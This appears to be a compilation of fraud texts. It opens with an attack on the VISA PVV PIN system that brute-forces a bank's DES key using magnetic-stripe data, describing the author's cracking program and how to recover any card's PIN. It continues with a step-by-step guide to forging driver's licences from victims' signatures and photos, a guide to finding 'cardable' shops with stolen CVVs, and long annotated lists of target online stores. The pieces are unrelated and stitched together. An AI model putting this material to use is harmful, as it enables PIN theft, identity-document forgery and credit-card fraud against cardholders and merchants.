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the 10's in the formula above into 1's and the required amount of 6's into 1's if there are no four decimal
|
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digits. That is, we have to divide the first result by 104, the second one by 103 * 6, the third one by 102 *
|
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62 , the fourth one by 10 * 63 and the fifth one by 64 . Then the number of favorable cases in the five
|
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categories are approximately 1.8 * 1015, 1.2 * 1012, 2.6 * 1011 , 3.5 * 1010, 2.2 * 109 respectively.
|
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Now we are able to obtain what is the probability for a DES output to match a PVV by chance. We just
|
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have to add the five numbers of favorable cases and divide it by the total number of possible cases. Doing
|
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this we obtain that the probability is very approximately 0.0001 or one out of ten thousand. Is it strange
|
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this well rounded result? Not at all, just have a look at the numbers we calculated above. The first
|
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category dominates by several orders of magnitude the number of favorable and possible cases. This is
|
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rather intuitive as it seems clear that it is very unlikely not having four decimal digits (10 chances out of
|
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16 per digit) among 16 hexadecimal digits. We saw previously that the relationship between the number
|
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of possible and favorable cases in the first category was a division by 10^4, that's where our result p =
|
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0.0001 comes from.
|
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Our aim for all these calculations was to find out how many TSP-PVV pairs we need to carry a successful
|
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brute force attack. Now we are able to calculate the expected number of false positives in a first search: it
|
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will be the number of trials times the probability for a single random false positive, i.e. t * p where t =
|
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2^56, the size of the key space. This amounts to approximately 7.2 * 10^12, a rather big number. The
|
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expected number of false positives in the second search (restricted to the positive keys found in the first
|
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search) will be (t * p) * p, for a third search will be ((t * p) * p) * p and so on. Thus for n searches the
|
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expected number of false positives will be t * p^n.
|
||
We can obtain the number of searches required to expect just one false positive by expressing the
|
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equation t * p^n = 1 and solving for n. So n equals to the logarithm in base p of 1/t, which by properties
|
||
of logarithms it yields n = log(1/t)/log(p) ~ 4.2. Since we cannot do a fractional search it is convenient to
|
||
round up this number. Therefore what is the expected number of false positives if we perform five
|
||
searches? It is t * p^5 ~ 0.0007 or approximately 1 out of 1400. Thus using five TSP-PVV pairs is safe to
|
||
obtain the true secret key with no false positives.
|
||
|
||
The attack
|
||
Once we know we need five TSP-PVV pairs, how do we get them? Of course we need at least one card
|
||
with known PIN, and due to the nature of the PVV algorithm, that's the only thing we need. With other
|
||
PIN systems, such as IBM, we would need five cards, however this is not necessary with VISA PVV
|
||
algorithm. We just have to read the magnetic stripe and then change the PIN four times but reading the
|
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card after each change.
|
||
It is necessary to read the magnetic stripe of the card to get the PVV and the encrypting key selector. You
|
||
can buy a commercial magnetic stripe reader or make one yourself following the instructions you can find
|
||
in the previous page and links therein. Once you have a reader see this description of standard magnetic
|
||
tracks to find out how to get the PVV from the data read. In that document the PVV field in tracks 1 and 2
|
||
is said to be five character long, but actually the true PVV consists of the last four digits. The first of the
|
||
five digits is the key selector. I have only seen cards with a value of 1 in this digit, which is consistent
|
||
with the standard and with the secret key never being compromised (and therefore they did not need to
|
||
move to another key changing the selector).
|
||
I did a simple C program, getpvvkey.c, to perform the attack. It consists of a loop to try all possible keys
|
||
to encrypt the first TSP, if the derived PVV matches the true PVV a new TSP is tried, and so on until
|
||
there is a mismatch, in which case the key is discarded and a new one is tried, or the five derived PVVs
|
||
match the corresponding true PVVs, in which case we can assume we got the bank secret key, however
|
||
the loop goes on until it exhausts the key space. This is done to assure we find the true key because there
|
||
is a chance (although very low) the first key found is a false positive.
|
||
It is expected the program would take a very long time to finish and to minimize the risks of a power cut,
|
||
computer hang out, etc. it does checkpoints into the file getpvvkey.dat from time to time (the exact time
|
||
depends on the speed of the computer, it's around one hour for the fastest computers now in use). For the
|
||
same reason if a positive key is found it is written on the file getpvvkey.key. The program only displays
|
||
one message at the beginning, the starting position taken from the checkpoint file if any, after that nothing
|
||
more is displayed.
|
||
The DES algorithm is a key point in the program, it is therefore very important to optimize its speed. I
|
||
tested several implementations: libdes, SSLeay, openssl, cryptlib, nss, libgcrypt, catacomb, libtomcrypt,
|
||
cryptopp, ufc-crypt. The DES functions of the first four are based on the same code by Eric Young and is
|
||
the one which performed best (includes optimized C and x86 assembler code). Thus I chose libdes which
|
||
was the original implementation and condensed all relevant code in the files encrypt.c (C version) and
|
||
x86encrypt.s (x86 assembler version). The code is slightly modified to achieve some enhancements in a
|
||
brute force attack: the initial permutation is a fixed common steep in each TSP encryption and therefore
|
||
can be made just one time at the beginning. Another improvement is that I wrote a completely new setkey
|
||
function (I called it nextkey) which is optimum for a brute force loop.
|
||
To get the program working you just have to type in the corresponding place five TSPs and their PVVs
|
||
and then compile it. I have tested it only in UNIX platforms, using the makefile Makegetpvvkey to
|
||
compile (use the command "make -f Makegetpvvkey"). It may compile on other systems but you may
|
||
need to fix some things. Be sure that the definition of the type long64 corresponds to a 64 bit integer. In
|
||
principle there is no dependence on the endianness of the processor. I have successfully compiled and run
|
||
it on Pentium-Linux, Alpha-Tru64, Mips-Irix and Sparc-Solaris. If you do not have and do not want to
|
||
install Linux (you don't know what you are missing ;-) you still have the choice to run Linux on CD and
|
||
use my program, see my page running Linux without installing it.
|
||
Once you have found the secret bank key if you want to find the PIN of an arbitrary card you just have to
|
||
write a similar program (sorry I have not written it, I'm too lazy that would try all 10^4 PINs by
|
||
generating the corresponding TSP, encrypting it with the (no longer) secret key, deriving the PVV and
|
||
comparing it with the PVV in the magnetic stripe of the card. You will get one match for the true PIN.
|
||
Only one match? Remember what we saw above, we have a chance of 0.0001 that a random encryption
|
||
matches the PVV. We are trying 10000 PINs (and therefore TSPs) thus we expect 10000 * 0.0001 = 1
|
||
|
||
false positive on average.
|
||
This is a very interesting result, it means that, on average, each card has two valid PINs: the customer PIN
|
||
and the expected false positive. I call it "false" but note that as long as it generates the true PVV it is a
|
||
PIN as valid as the customer's one. Furthermore, there is no way to know which is which, even for the
|
||
ATM; only customer knows. Even if the false positive were not valid as PIN, you still have three trials at
|
||
the ATM anyway, enough on average. Therefore the probability we calculated at the beginning of this
|
||
document about random guessing of the PIN has to be corrected. Actually it is twice that value, i.e., it is
|
||
0.0006 or one out of more than 1600, still safely low.
|
||
Results
|
||
It is important to optimize the compilation of the program and to run it in the fastest possible processor
|
||
due to the long expected run time. I found that the compiler optimization flag -O gets the better
|
||
performance, thought some improvement is achieved adding the -fomit-frame-pointer flag on Pentium-
|
||
Linux, the -spike flag on Alpha-Tru64, the -IPA flag on Mips-Irix and the -fast flag on Sparc-Solaris.
|
||
Special flags (-DDES_PTR -DDES_RISC1 -DDES_RISC2 -DDES_UNROLL -DASM) for the DES
|
||
code have generally benefits as well. All these flags have already been tested and I chose the best
|
||
combination for each processor (see makefile) but you can try to fine tune other flags.
|
||
According to my tests the best performance is achieved with the AMD Athlon 1600 MHz processor,
|
||
exceeding 3.4 million keys per second. Interestingly it gets better results than Intel Pentium IV 1800 MHz
|
||
and 2000 MHz (see figures below, click on them to enlarge). I believe this is due to some I/O saturation,
|
||
surely cache or memory access, that the AMD processor (which has half the cache of the Pentium) or the
|
||
motherboard in which it is running, manages to avoid. In the first figure below you can see that the DES
|
||
breaking speed of all processors has more or less a linear relationship with the processor speed, except for
|
||
the two Intel Pentium I mentioned before. This is logical, it means that for a double processor speed you'll
|
||
get double breaking speed, but watch out for saturation effects, in this case it is better the AMD Athlon
|
||
1600 MHz, which will be even cheaper than the Intel Pentium 1800 MHz or 2000 MHz.
|
||
In the second figure we can see in more detail what we would call intrinsic DES break power of the
|
||
processor. I get this value simply dividing the break speed by the processor speed, that is, we get the
|
||
number of DES keys tried per second and per MHz. This is a measure of the performance of the processor
|
||
type independently of its speed. The results show that the best processor for this task is the AMD Athlon,
|
||
then comes the Alpha and very close after it is the Intel Pentium (except for the higher speed ones which
|
||
perform very poor due to the saturation effect). Next is the Mips processor and in the last place is the
|
||
Sparc. Some Alpha and Mips processors are located at bottom of scale because they are early releases not
|
||
including enhancements of late versions. Note that I included the performance of x86 processors for C
|
||
and assembler code as there is a big difference. It seems that gcc is not a good generator of optimized
|
||
machine code, but of course we don't know whether a manual optimization of assembler code for the
|
||
other processors (Alpha, Mips, Sparc) would boost their results compared to the native C compilers (I did
|
||
not use gcc for these other platforms) as it happens with the x86 processor.
|
||
The top mark I got running my program was approximately 3 423 922 keys/second using the AMD
|
||
processor. So, how much time would need the AMD to break the VISA PIN? It would simply be the ratio
|
||
between the size of the key space and the key trying rate, that is, 2^56 keys/3 423 922 keys/second ~ 2.1 *
|
||
10^10 seconds ~ 244 thousand days ~ 667 years. This is the time for the program to finish, but on average
|
||
the true secret key will be found by half that time. Using commercial cryptographic cards (like the IBM
|
||
PCI Cryptographic Coprocessor or the XL-Crypt Encryption Accelerator) does not help very much, they
|
||
are, at most, 2 times faster than my top mark, i.e. it would take more than a hundred years to find the key,
|
||
at best. Some more speed might be achieved (double, at most) by using a dedicated gigabit VPN box or
|
||
similar hardware in a way surely not foreseen by the manufacturer ;-)
|
||
Even if you manage to get a hundred newest AMD or Pentium processors working in parallel it would
|
||
still take more than 3 years to find the key (if they are provided with crypto-cards the time might be
|
||
reduced to less than two years or to less than one year in case of a hundred gigabit VPN boxes). It is clear
|
||
|
||
that only expensive dedicated hardware (affordable only by big institutions) or a massive Internet
|
||
cooperative attack would success in a reasonable time (both things were already made). These are the
|
||
good news. The bad news is that I have deliberately lied a little bit (you may already noticed it): VISA
|
||
PVV algorithm allows for the use of triple DES (3-DES) encryption using a 128 bit (only 112 effective)
|
||
encrypting key. If 3-DES is indeed in use by the PVV system you can still use the same attack but you
|
||
would need four additional TSP-PVV pairs (no problem with that) and it would take more than 3 * 2^56
|
||
times more to find the double length key. Forget it.
|
||
PVV algorithm with triple DES consists in the encryption of the TSP with the left half of the encrypting
|
||
key, then it decrypts the result with the right half of the key and encrypts the result again with the left half
|
||
of the key. Note that if you use a symmetric 128 bit key, that is, the left half equals the right half, you get
|
||
a single DES encryption with a single 64 bit key. In this case the algorithm degenerates into the one I
|
||
explained above. That's why I did this work, because PVV system is old and maybe when it was
|
||
implanted 3-DES was not viable (due to hardware limitations) or it seemed excessive (by that time) to the
|
||
people responsible of the implementation, so that it might be possible some banks are using the PVV
|
||
algorithm with single DES encryption.
|
||
Finally we can conclude that the VISA PVV algorithm as in its general form using 3-DES is rather
|
||
secure. It may only be broken using specially designed hardware (implying an enormous inversion and
|
||
thus not worth, see Wayner and Wiener) which would exceed the encryption rate of the newest processors
|
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by many orders of magnitude. However the apparently endless exponential growing of the computer
|
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capacities as well as that of the Internet community makes to think that PVV system might be in real
|
||
danger within a few years. Of course those banks using PVV with single DES (if any) are already under
|
||
true risk of an Internet cooperative attack. You might believe that is something very hard to coordinate, I
|
||
mean convincing people, but think about trojan and virus programs and you will see it is not so difficult
|
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to carry on.
|
||
Capturing Signatures for ID's
|
||
Photo-laminated Ids are done with a specialty Polaroid camera. As this is an older technology, these
|
||
cameras turn up quite often on Ebay. The means by which these cameras capture your signature is as
|
||
follows:
|
||
You sign a piece a paper, and that paper gets put into a slot in the camera. On that paper is all your info,
|
||
license number, name, address, everything that is eventually going to be put on the license. Its all bigger
|
||
than its going to be on you license too. Id guess the font is about 12 pt type on the paper you sign (it
|
||
eventually winds up about 9pt on the license)
|
||
So when the agent snaps your pic, they are actually taking your pic and a pic of the card with all your info
|
||
on it at the same time. That results in a polaroid pic of your id, which is cut with a die cutter and
|
||
laminated. So your signature is actually photographed.
|
||
Heres how I get the signature on the ID.
|
||
1. Have them sign any piece of white paper.
|
||
2. Scan it. I scan at 600dpi, my template is 1200dpi
|
||
3. Crop as tight as you can to the actually signature.
|
||
4. Convert to greyscale. (remove color information)
|
||
5. Convert back to CMYK.
|
||
6. Adjust Levels. Make the white totally white with the highlight eyedropper. Use the shadow and
|
||
|
||
midtone adjusters to get the signature a little darker (it probably lightened up with ur first adjustment)
|
||
7. Copy and paste into your template.
|
||
8. Change blending mode for the signature layer to Multiply. This makes all the white area transparent.
|
||
9. Line up over sig line and transform to the right size. The tops of the signature letters just about touch
|
||
the bottom line of user info. Keep in mind that the person signs on that signature line with all the info
|
||
present on the paper, so sometimes the signature will overlap the info, depends how big they sign. Youre
|
||
instructed at DMV not to touch the letters and most people manage to stay in the area theyre supposed to.
|
||
Even if you dont, they still go ahead, they dont make you sign a new piece of paper.
|
||
Thats about it. I usually wind up stretching the sig a little longer too, it should take up at least half the sig
|
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line.
|
||
So the signature isnt digital, none of the license is, its a photograph of your actual signature.
|
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Heres the hex of the color I use for the words: 52474F Even though they are black on the white paper,
|
||
photographing them changes the colors and they are never dead black on the dl. Blur all the type layers
|
||
(except the camera number over ur photo) too with a guassian blur filter. I blur about 2.0 pixels on a
|
||
1200dpi temp. Blur the sig to match, usually a little more than the type, like twice. Nothing printed on the
|
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ID is crisp, except for the 3 digit camera number on top of your pic.
|
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The hardest thing I have with NJ is getting the picture to look like a polaroid pic. Taking the pic with a
|
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digital camera creates way too much detail so I always scanned in a passport pic. Still couldnt get it
|
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perfect though. You have to remove all perception of depth, thru blurring, contrast and however else you
|
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can think of. The only way Ive gotten an ID to look exactly like a real one is by scanning in the pic off
|
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someones real ID. My friend got ahold of an old DMV camera, so I dont have to make them on my comp
|
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too much anymore.
|
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Oh another thing, the back of a NJ is actually printed right on the lamination, printing on a piece of paper
|
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never looks right. I have some real laminations so I never had to worry about that. Dont use bright white
|
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paper for the back either. Xerox makes colored paper, use the grey, its perfect and you can buy it at office
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max (or office depot, I get em confused)
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||
jazzsports.com
|
||
ladbrokes.com
|
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lionbet.com
|
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paysports.com
|
||
multibet.com
|
||
nordicbet.com
|
||
pacificsportclub.com
|
||
paddypower.com
|
||
parbet.com
|
||
pinnaclesports.com
|
||
playit.com
|
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pointbet.com
|
||
premierbet.com
|
||
betroyal.com
|
||
sportonlinebookie.com
|
||
scandicbookmakers.com
|
||
wetten-schwechat.at
|
||
seangraham.com
|
||
skybet.com
|
||
snaisport.com
|
||
sportfanatik.com
|
||
sportingbet.com
|
||
sportingodds.co.uk
|
||
sportingoptions.co.uk
|
||
|
||
sbobet.com
|
||
sports.com
|
||
sportsbetting.com
|
||
qksrv.net
|
||
sportwetten-online.de
|
||
stanjames.com
|
||
stanleybet.com
|
||
swapbets.com
|
||
thebet.cc
|
||
thegreek.com
|
||
totalbet.com
|
||
totesport.com
|
||
unibet.com
|
||
unitedbet.com
|
||
victorchandler.com
|
||
vierklee.com
|
||
vikingbet.com
|
||
vikingbet.com
|
||
wettpunkt.com
|
||
willhill.com
|
||
winunited.com
|
||
worldbet.com
|
||
worldwager.com
|
||
wsex.com
|
||
Cardable shops finding
|
||
Good day everybody!
|
||
I’d like to talk a little about cardable online-shops finding. It would be useful for some beginners. So for
|
||
getting list of shops go to _ww.amazon.com and of course to everybodie’s favorite google.com. When
|
||
you’ve got it – choose what you need.
|
||
Once you’ve chosen you need to check it. Usually they take some CVV’s and try to order on holder’s
|
||
address something in $300-$400 (for example PDA, MP3 player or another shiet like this). Also to avoid
|
||
too much attention choose not very fast delivery, something not expencive for 3-4 days delay. And wait.
|
||
If later you’ll got track – congratulations, you’ve found cardable shop. But it’s early to dance. There
|
||
would be a lot of problems later. For example shop can require call or scans on the order with amount
|
||
more $800-$1000 due to bad proxy, database of black addresses or enroll of cheap bank (First for
|
||
example )).
|
||
So that’s about all for beginners. Further improve and try new ways – that’s only base actions.
|
||
|
||
CARDABLE SITES - HITLIST (90% of these shops ship)
|
||
http://www.casevalue.com/cgi-
|
||
bin/CaseValue.storefront/4ae961fd00107608273fc0a8018c064c/Catalog/1087 amxaccepted
|
||
http://www.arenaflowers.com/gifts/champagne_de_venoge_brut_rose amx accepted
|
||
http://www.virginwines.com/product/prod_detail.jsp?PRODUCT%3C%3Eprd_id=845524442977627
|
||
http://www.champagneuk.com/catalog/?gclid=CLaIw5eB4p0CFVVu4wodgHflNA
|
||
http://cheers-wine-merchants.co.uk/Laurent-Perrier-Rose-Champagne-Rose-Wine-353.asp sec amx
|
||
accepted
|
||
http://www.thedrinkshop.com/products/nlpdetail.php?prodid=653&afwinid=90909
|
||
http://www.bancroftwines.com/detailed.aspx?pID=10853&gclid=CNvHrNWC4p0CFQdl4wodL1CWNw
|
||
http://www.fromvineyardsdirect.com/wine/laurent_perrier.php?
|
||
gclid=CPWljuqC4p0CFUYA4wodz1VdMg
|
||
http://www.frw.co.uk/searchWines.aspx?
|
||
keywords=Laurent+Perrier+Rose&sid=4&FRS=GAd&gclid=CLbxjfWC4p0CFVtn4woduha8NA
|
||
http://www.laithwaites.co.uk/browsearticles.aspx?
|
||
Filter=WineType:browse_types,white&results_per_page=&cid=search|google|specific|
|
||
c2&mrc=pl48&gclid=CKHBlIyD4p0CFcts4wod6lW9OQ amxacceptd
|
||
https://www.giftsinternational.net/search_results.asp?
|
||
query=Laurent+Perrier&imageField.x=9&imageField.y=10&gclid=CNi1hqWD4p0CFUtp4wodgSYdNw
|
||
http://www.nakedwines.com/
|
||
http://www.averys.com/default.aspx?mrc=E347&imi=winesdirectvoucher
|
||
http://www.formulawine.co.uk/wine/fresita
|
||
http://www.eburywinecellars.co.uk/products-page/champagne/page/2/
|
||
http://www.majestic.co.uk/find/category-is-Champagne%20and%20Sparkling%20Wine/category-is-
|
||
Champagne/Special%20Offer-is-Special%20Offer?cmp=aw&cmp=aw
|
||
http://www.sparklingdirect.co.uk/pink_champagne.asp
|
||
http://www.bibendum-wine.co.uk/retail/wine-details/JLPNVROB6D/Laurent%20Perrier%20Rose
|
||
%20NV%2075cl
|
||
http://www.bbr.com/product-16286B-laurent-perrier-rose
|
||
http://www.hotwines.co.uk/catalog/product_info.php?products_id=39
|
||
http://www.scottcountry.co.uk/products_detail.asp?productID=2447&froogle=true
|
||
http://www.winedancer.com/contents/en-uk/d263.html
|
||
http://www.woodenwinebox.co.uk/index.php?mod=category&id_ctg=6
|
||
http://www.flowergram.co.uk/icat/champagnecasesgiftpacks amxaccepted
|
||
http://www.anybooze.com/moet--chandon-brut-imperial-champagne-341-p.asp
|
||
http://www.thewhiskyexchange.com/Search-hennessy.aspx
|
||
http://www.parkerswhisky.co.uk/luxury-gift-hampers-c-45.html?
|
||
osCsid=641beec7e176472ff1f931ebfd45a7ac amxaccepted ptx
|
||
http://shop.oliverscornwall.com/hennessy-paradis-extra-cognac-brandy-special-price-5-p.asp
|
||
http://www.chateauonline.co.uk/F-1012-alcool/P-15971-hennessy-paradis_1085319
|
||
http://www.retail-world.net/store/comersus_message.asp?message=Cannot+get+product+details
|
||
%2E+Please+contact+us+to+request+more+information+about+item v and mc amx accepted
|
||
http://www.nextdaychampagne.co.uk/shopscr70.html
|
||
http://www.buyagift.co.uk/Product/Id/3268/Name/Gift_Bottle_of__Dom_Perignon_Vintage_2000_Cham
|
||
pagne
|
||
http://www.allgifts.ie/Dom-Perignon-Vintage-Champagne-Gift-!26726-version.html irish
|
||
http://www.pauladamsfinewines.co.uk/champagnes-967-0.html?
|
||
gclid=COShiYKN4p0CFU0A4wodPTL4Mw
|
||
http://www.wineandco.co.uk/chateau-lafite-rothschild-5517-m-uk-liv-uk.html
|
||
http://www.millesima.co.uk/F-1002-wine/K-119-Area~Bordeaux/K-115-Producers~Chateau-Lafite-
|
||
Rothschild?gclid=CJulj8-O4p0CFZQA4wodfjkkNw
|
||
http://www.evinite.com/bordeaux/pauillac/chateau-lafite-rothschild
|
||
http://www.antique-wine.com/lafite.php
|
||
|
||
http://www.flower-delivery-uk.co.uk/champagne-gift.htm
|
||
http://www.toastchampagne.co.uk/shop/champagne/moet-et-chandon/ amx accepted
|
||
http://www.champagneexpress.co.uk/products.asp?pid=38
|
||
http://www.oddbins.com/products/productDetail.asp?productcode=19062 amx acptd
|
||
http://www.cgarsltd.co.uk/1992-moet-chandon-champagne-cuvee-perignon-p-5984.html amx acceptd
|
||
http://www.robersonwinemerchant.co.uk/shop/gift-ideas/one-bottle-of-dom-perignon-gift-boxed
|
||
http://www.serenatawines.com/?s_kwcid=vintage%20wine|2819508707 amx acptd
|
||
http://www.jeroboams.co.uk/webapp/wcs/stores/servlet/catalog_10001_10001_-1
|
||
http://www.magnum.co.uk/
|
||
http://www.winedirect.co.uk/product_info.php?products_id=4628&from_id=8304
|
||
http://www.cadmanfinewines.co.uk/ amx acptd
|
||
http://www.bennettsfinewines.com/store/
|
||
http://www.nicholasrobertsltd.com/
|
||
http://www.jaglass.co.uk/index.php?
|
||
main_page=index&cPath=36&zenid=1311e25b61fc6bfde4a1e5a01dd952c2
|
||
http://www.laywheeler.com/?gclid=CNi8j9eZ4p0CFZoU4wod3i1TNQ
|
||
http://www.barrelsandbottles.co.uk/
|
||
http://www.surf4wine.co.uk/
|
||
http://www.winediscoveries.co.uk/ sec amx?
|
||
http://www.thesussexwinecompany.co.uk/shop/ amc acpt
|
||
http://www.viniferaboutique.com/store/index.php?route=product/category&path=38
|
||
http://www.giftinspiration.com/acatalog/Wine_gifts.html
|
||
http://www.giftingdirect.co.uk/
|
||
http://www.wineware.co.uk/ amx acpt
|
||
http://www.classicwinedirect.com/product-sub-category.aspx?
|
||
country=0&colour=2&grape=0&range=0&gclid=COanyfad4p0CFU0B4wod_yRZMw v and mc amx
|
||
http://www.satchellswines.com/ ppal amx
|
||
http://www.winestore.co.uk/shop/fine_wines.htm
|
||
http://www.thesecretcellar.co.uk/?gclid=CPDw8M2e4p0CFZoU4wod3i1TNQ
|
||
http://www.butlerswines.co.uk/?gclid=CLT3zOeg4p0CFVBd4wod32k4Mg ppal amx acptd
|
||
http://www.bestvintage.co.uk/
|
||
http://winedown.co.uk/wine/louis-roederer-brut-premier-non-vintage-champagne.htm
|
||
http://www.nickollsandperks.co.uk/filter.asp?
|
||
pagenumber=1&pagesize=50&country=0009®ion=0020&grower=0744&gclid=CNGkkayi4p0CFVB
|
||
d4wod32k4Mg
|
||
http://www.thegoodwineshop.co.uk/Sparkling-Wine/Product-7421.aspx
|
||
http://shop.purewines.org/1999-cristal-champagne-jeroboam-3ltr-louis-roederer-743-p.asp
|
||
http://www.davy.co.uk/p/wineshop-buy-online/champagne-and-sparkling-wine/champagne-
|
||
selection/louis-roederer-brut-premier-nv-champagne.html
|
||
http://cellarandkitchen.adnams.co.uk/?utm_source=AW&utm_medium=cpa amx acptd
|
||
http://www.goedhuis.com/products/champagne/champagne/nv-louis-roederer-rich-2.html
|
||
http://www.gasconline.com/categories.php?Cat=2&SubCatID=228
|
||
http://www.citychampagnes.com/louis-roederer.aspx amx axpt
|
||
http://www.fortnumandmason.com/(S(olioe255y4k4gtz2hikmef55))/catalog/productinfo.aspx?
|
||
id=7543&AspxAutoDetectCookieSupport=1
|
||
http://www.corkr.com/winedetail.php?id=269
|
||
http://www.sundaytimeswineclub.co.uk/DWBase/jsp/templates/article/productDetails.jsp?CID=MAIL|
|
||
55081&productId=prod26225 amx acpt
|
||
http://www.jacquel.be/Champagnes-Millesimes.php?pg=6&gclid=CPTxsJmo4p0CFUYA4wodz1VdMg
|
||
inter
|
||
soundslive
|
||
absolutemusic
|
||
guitar.co.uk merchant city music
|
||
reidys
|
||
dolphinmusic
|
||
guitarampkeyboard
|
||
|
||
dv247
|
||
gear4music v and mc
|
||
umbrellamusic v and mc
|
||
ukguitars
|
||
playrecord.net
|
||
musicshopdirect
|
||
guitarandampshop
|
||
musicstree
|
||
ollysguitar
|
||
visionguitars
|
||
steelcityguitars
|
||
fortissimoinstruments
|
||
themusicking
|
||
http://www.guitarvillage.co.uk/product-list.asp?manuid=119&catid=3
|
||
http://www.nevadamusic.co.uk/Musical_Instrument_Accessories/Accessories/sc1218/p739.aspx
|
||
http://www.absolutemusic.co.uk/shop/view_product.php?
|
||
product=gbslpstebch1&gclid=CKH_vdaC9ZkCFQVfFQodcgqMRg
|
||
http://www.guitarampkeyboard.com/basket.php
|
||
http://www.gear4music.com/Electric_Guitars/Epiphone_Electric.html?
|
||
gclid=CJuatvCC9ZkCFQVfFQodcgqMRg
|
||
http://www.maxguitarstore.com/store/index.php?productID=3812 inter
|
||
http://www.dangleberrymusic.co.uk/Richwood_Guitars_Greenburst_Les_Paul_Guitar_Limited_Edition_
|
||
Tre-pr-5247.html
|
||
http://www.realtimemusic.co.uk/gibson-gary-moore-bfg.html
|
||
http://www.mansons.co.uk/ v and mc sec
|
||
http://www.musicstreet.co.uk/accessories-cases-bags-c-27_84.html?
|
||
gclid=CPe_x4uE9ZkCFQMFZgodcEYFQg
|
||
http://www.hartnollguitars.co.uk/products.asp?id=3978
|
||
http://www.soundslive.co.uk/product.asp?id=2346 v and mc sec
|
||
http://www.projectmusic.net/american-standard-stratocaster-3-color-sunburst-latest-version-2600-p.asp
|
||
http://www.soundpad.co.uk/
|
||
http://www.chappellofbondstreet.co.uk/C~5034~Fender+Electric+Guitars
|
||
http://www.elmusic.co.uk/
|
||
http://www.wembleydrumcentre.com/index.php?fuseaction=shopping.details&pId=14659&cId=3
|
||
http://www.giggear.co.uk/b/Gibson/?gclid=CJv5rqKI9ZkCFQIWFQodP1nbRw
|
||
https://www.rainbowmusic.co.uk/sess/utn;jsessionid=1549e6f78956b77/shopdata/index.shopscript
|
||
http://www.thinkmusic.co.uk/prodtype.asp?
|
||
PT_ID=154&strPageHistory=cat&gclid=CIPIx_GI9ZkCFRMFZgodgCNJQw
|
||
http://www.bonnersmusic.co.uk/browse/Guitars__and__Basses/Acoustic_Guitars/Gibson_Guitars
|
||
http://www.hollywood-music.co.uk/products.php?product=Gibson-Hummingbird-Modern-Classic-
|
||
Acoustic-Guitar
|
||
http://www.soundsmusical.com/product.asp?productid=2206
|
||
http://www.froogle.richersounds.com/showproduct.php?cda=showproduct&pid=MONS-BEATS-BY-
|
||
DR-DRE
|
||
http://www.iheadphones.co.uk/headphones/23820/Monster+Beats+by+Dr+Dre+High+Definition+Studio
|
||
+Headphones.htm
|
||
http://www.tribaluk.com/detail.php?
|
||
|
||
ProdID=16cz0022&referrer=aw&utm_source=affiliatewindow&utm_medium=cpa v and mc
|
||
http://www.24electric.com/detail.php?
|
||
ProdID=83CZ9977&referrer=wg&source=webgains&siteid=4761&utm_source=webgains&utm_medium
|
||
=cpa&utm_content=All v and mc
|
||
http://www.bennettsonline.co.uk/product.asp?
|
||
activeproduct=16CZ0022&utm_source=affiliatewindow&utm_medium=cpa v and mc BK
|
||
http://shop4blu-ray.co.uk/catalog/product_info.php?
|
||
cPath=29&products_id=86&osCsid=5c87238a958085c2941600af02057f0e
|
||
http://www.hifiheadphones.co.uk/technics-rpdj1200-pro-dj-headphones-in-black-dj1200-dj-prodid-
|
||
293.html
|
||
http://www.studica.com/products/product_detail.cfm?productid=59470&storeid=4
|
||
http://www.ableton.com/pages/shop/full INTER
|
||
http://www.htfr.com/more-info/MR219186
|
||
http://www.chemical-records.co.uk/sc/servlet/Info?ref=gbase&Track=CDN88
|
||
http://www.djpro.co.uk/product_info.php?
|
||
products_id=1371&shpsessid=b93b78e747e4186f298d6b2c92b080ca
|
||
http://www.decks.co.uk/products/video_jockey/numark
|
||
http://www.disco-centre.co.uk/discoequipment.html?gclid=CM-GwJWS9ZkCFQSwFQodrg0FRQ
|
||
http://www.bananadj.com/product12236_32440.aspx
|
||
http://www.turnkey.co.uk/product.php?itemid=7826
|
||
https://www.studiocare.com/store/index.php?main_page=index&manufacturers_id=66
|
||
http://www.studiospares.com/DJ-CD-Players/Pioneer-CDJ800-Mkii-DJ-CD-Player/invt/285540
|
||
http://www.homedj.co.uk/ebuttonz/ebz_product_pages/pioneer_cdj800mk2.shtml?googlecpc
|
||
http://www.udmdjstore.co.uk/details.asp?ProductID=31130 v and mc
|
||
http://www.catapult.co.uk/products/DJ%20Equipment/PC%252FDigital
|
||
%20DJ/Numark+Total+Computer+DJ+in+a+Box
|
||
http://www.bosstunes.co.uk/djgear/catalog.php?keyword=numark low sec
|
||
http://www.prosound-dj.com/index.php?
|
||
manufacturers_id=22&osCsid=43d8c10b1d81b071f70df04913fb9f82
|
||
http://www.westenddj.co.uk/productlist.asp?mk=numark
|
||
http://www.djgearpro.com/pioneer-cdj1000-digital-deck-p-47.html
|
||
http://www.djanddiscostuff.com/category.asp?catid=2
|
||
http://www.djsuperstore.co.uk/item/dj-cd-mp3-players/068366-pioneer-cdj1000-mk3-single-cd-mp3-
|
||
player-%C2%A3899.00
|
||
http://www.getinthemix.co.uk/index.htm/act/shop/process/cat/startnum/1/endnum/211/highlight/2/crit/cdj
|
||
1000/search/true?gclid=CJXUw_-W9ZkCFQVxFQod1huWQw
|
||
http://www.electroniccentre.co.uk/sub-section.aspx?title=DJ%20Equipment&title2=CD%20and
|
||
%20MP3%20Decks&id=
|
||
http://www.qualitydj.co.uk/pioneer-djm-600-p-55.html v and mc
|
||
http://www.thomann.de/gb/pioneer_djm_400.htm
|
||
http://www.djdevices.com/djequipment/Ecler_DJ_Mixers.html (mixers only)
|
||
http://www.soundlightltd.com/proddetail.php?prod=6067
|
||
http://djempire.co.uk/product/pioneer-cdj-800-mk2-and-djm-400-package
|
||
http://www.avsl.co.uk/shop/cdj800-mk2-digital-cd-deck-with-scratch-jog-wheel-p-5789.html
|
||
http://www.total-music.com/catalogue.php?product_id=2730
|
||
http://www.yonies.com/pidD.asp?
|
||
|
||
chk=1&PID=2595&manf=Technics&model=SLDZ1200&prd=Turntable&lv1=Electronics&lv2=DJ+Equ
|
||
ipment&lv3=Turntables&rf=frguk inter
|
||
http://www.tamarshop.co.uk/index.php?
|
||
main_page=product_info&products_id=575&zenid=2b4bc645b985814785de763c851ba99c
|
||
https://www.scotaudio.com/acatalog/Technics_SL1200.html
|
||
http://www.discostudio.co.uk/item.php?upn=11305&affid=froogle v and mc
|
||
http://www.hifibitz.co.uk/product.asp?id=6681&aid=15036 bk v and mc
|
||
http://www.soundandvision.co.uk/hifi/turntables/technics-sl-1200mk5
|
||
http://www.proav.co.uk/Audio-Equipment/c534.aspx
|
||
http://www.superfi.co.uk/index.cfm/page/moreinfo.cfm/Product_ID/1471/?utm_source=nextag
|
||
